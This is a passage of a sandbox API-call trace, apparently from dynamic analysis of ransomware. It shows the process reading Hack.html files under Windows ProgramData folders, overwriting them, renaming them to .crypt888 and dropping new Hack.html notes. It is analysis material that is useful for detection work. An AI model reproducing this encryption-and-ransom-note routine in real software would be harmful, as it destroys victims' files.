lpOldMode=0x39ed5c) returned 1 [0088.719] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore", lpFilePart=0x0) returned 0x39 [0088.719] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\", lpFilePart=0x0) returned 0x3a [0088.720] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a728 [0088.720] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.720] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.720] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0088.720] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0088.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0088.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0088.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0088.720] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore", lpFilePart=0x0) returned 0x39 [0088.720] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\", lpFilePart=0x0) returned 0x3a [0088.720] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a728 [0088.720] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.720] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.721] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0088.721] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0088.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0088.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0088.721] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\Hack.html", lpFilePart=0x0) returned 0x43 [0088.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0088.721] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\netframework\\breadcrumbstore\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.721] GetFileType (hFile=0x174) returned 0x1 [0088.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0088.721] GetFileType (hFile=0x174) returned 0x1 [0088.721] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0088.721] ReadFile (in: hFile=0x174, lpBuffer=0x2752de8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x2752de8*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0088.734] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\Hack.html", lpFilePart=0x0) returned 0x43 [0088.734] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0088.734] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\netframework\\breadcrumbstore\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.735] GetFileType (hFile=0x174) returned 0x1 [0088.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0088.735] GetFileType (hFile=0x174) returned 0x1 [0088.735] WriteFile (in: hFile=0x174, lpBuffer=0x27a0f74*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ecb4, lpOverlapped=0x0 | out: lpBuffer=0x27a0f74*, lpNumberOfBytesWritten=0x39ecb4*=0xc0, lpOverlapped=0x0) returned 1 [0088.736] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\Hack.html", lpFilePart=0x0) returned 0x43 [0088.736] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\Hack.html.crypt888", lpFilePart=0x0) returned 0x4c [0088.736] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0088.736] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\netframework\\breadcrumbstore\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb7b76e0, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbb7b76e0, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc61777c0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0088.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0088.736] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\netframework\\breadcrumbstore\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\netframework\\breadcrumbstore\\hack.html.crypt888")) returned 1 [0088.739] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\Hack.html", lpFilePart=0x0) returned 0x43 [0088.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0088.740] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\netframework\\breadcrumbstore\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0088.740] GetFileType (hFile=0x174) returned 0x1 [0088.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0088.740] GetFileType (hFile=0x174) returned 0x1 [0088.741] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\NetFramework\\Hack.html", lpFilePart=0x0) returned 0x33 [0088.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0088.741] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\netframework\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0088.748] GetFileType (hFile=0x174) returned 0x1 [0088.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0088.749] GetFileType (hFile=0x174) returned 0x1 [0088.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0088.749] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network", lpFilePart=0x0) returned 0x24 [0088.749] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\", lpFilePart=0x0) returned 0x25 [0088.750] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x599f28 [0088.750] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.750] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.750] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.750] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.750] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0088.750] FindClose (in: hFindFile=0x599f28 | out: hFindFile=0x599f28) returned 1 [0088.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0088.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0088.750] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0088.750] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network", lpFilePart=0x0) returned 0x24 [0088.750] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\", lpFilePart=0x0) returned 0x25 [0088.750] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x599f28 [0088.750] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.751] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.751] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.751] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0088.751] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0088.751] FindClose (in: hFindFile=0x599f28 | out: hFindFile=0x599f28) returned 1 [0088.751] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0088.751] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Hack.html", lpFilePart=0x0) returned 0x2e [0088.751] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\network\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.751] GetFileType (hFile=0x174) returned 0x1 [0088.751] GetFileType (hFile=0x174) returned 0x1 [0088.751] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0088.751] ReadFile (in: hFile=0x174, lpBuffer=0x27a8cec, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x27a8cec*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0088.768] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Hack.html", lpFilePart=0x0) returned 0x2e [0088.768] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\network\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.769] GetFileType (hFile=0x174) returned 0x1 [0088.770] GetFileType (hFile=0x174) returned 0x1 [0088.770] WriteFile (in: hFile=0x174, lpBuffer=0x27f6e50*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ece8, lpOverlapped=0x0 | out: lpBuffer=0x27f6e50*, lpNumberOfBytesWritten=0x39ece8*=0xc0, lpOverlapped=0x0) returned 1 [0088.771] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Hack.html", lpFilePart=0x0) returned 0x2e [0088.771] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Hack.html.crypt888", lpFilePart=0x0) returned 0x37 [0088.771] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\network\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb7dd840, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbb7dd840, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc61c3a80, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0088.771] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Network\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\network\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Network\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\network\\hack.html.crypt888")) returned 1 [0088.772] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Connections", lpFilePart=0x0) returned 0x30 [0088.772] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\", lpFilePart=0x0) returned 0x31 [0088.772] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a8a8 [0088.772] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.772] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.772] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0088.772] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0088.772] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Connections", lpFilePart=0x0) returned 0x30 [0088.772] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\", lpFilePart=0x0) returned 0x31 [0088.772] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a8a8 [0088.772] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.772] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.772] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0088.773] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0088.773] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Hack.html", lpFilePart=0x0) returned 0x3a [0088.773] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\network\\connections\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.773] GetFileType (hFile=0x174) returned 0x1 [0088.773] GetFileType (hFile=0x174) returned 0x1 [0088.773] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0088.773] ReadFile (in: hFile=0x174, lpBuffer=0x27f98e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x27f98e4*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0088.786] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Hack.html", lpFilePart=0x0) returned 0x3a [0088.786] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\network\\connections\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.787] GetFileType (hFile=0x174) returned 0x1 [0088.787] GetFileType (hFile=0x174) returned 0x1 [0088.788] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Hack.html", lpFilePart=0x0) returned 0x3a [0088.788] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Hack.html.crypt888", lpFilePart=0x0) returned 0x43 [0088.788] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\network\\connections\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb7dd840, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbb7dd840, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc61e9be0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0088.788] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\network\\connections\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\network\\connections\\hack.html.crypt888")) returned 1 [0088.789] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Hack.html", lpFilePart=0x0) returned 0x3a [0088.789] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\network\\connections\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0088.789] GetFileType (hFile=0x174) returned 0x1 [0088.789] GetFileType (hFile=0x174) returned 0x1 [0088.790] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Downloader", lpFilePart=0x0) returned 0x2f [0088.790] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\", lpFilePart=0x0) returned 0x30 [0088.790] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a7a8 [0088.790] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.790] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.790] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.790] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.790] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0088.790] FindClose (in: hFindFile=0x59a7a8 | out: hFindFile=0x59a7a8) returned 1 [0088.790] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Downloader", lpFilePart=0x0) returned 0x2f [0088.790] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\", lpFilePart=0x0) returned 0x30 [0088.790] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a7a8 [0088.791] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.791] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.791] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.791] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0088.791] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0088.791] FindClose (in: hFindFile=0x59a7a8 | out: hFindFile=0x59a7a8) returned 1 [0088.791] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\Hack.html", lpFilePart=0x0) returned 0x39 [0088.791] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.791] GetFileType (hFile=0x174) returned 0x1 [0088.791] GetFileType (hFile=0x174) returned 0x1 [0088.791] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0088.791] ReadFile (in: hFile=0x174, lpBuffer=0x284d1fc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x284d1fc*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0088.806] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\Hack.html", lpFilePart=0x0) returned 0x39 [0088.806] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0088.807] GetFileType (hFile=0x174) returned 0x1 [0088.807] GetFileType (hFile=0x174) returned 0x1 [0088.808] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All 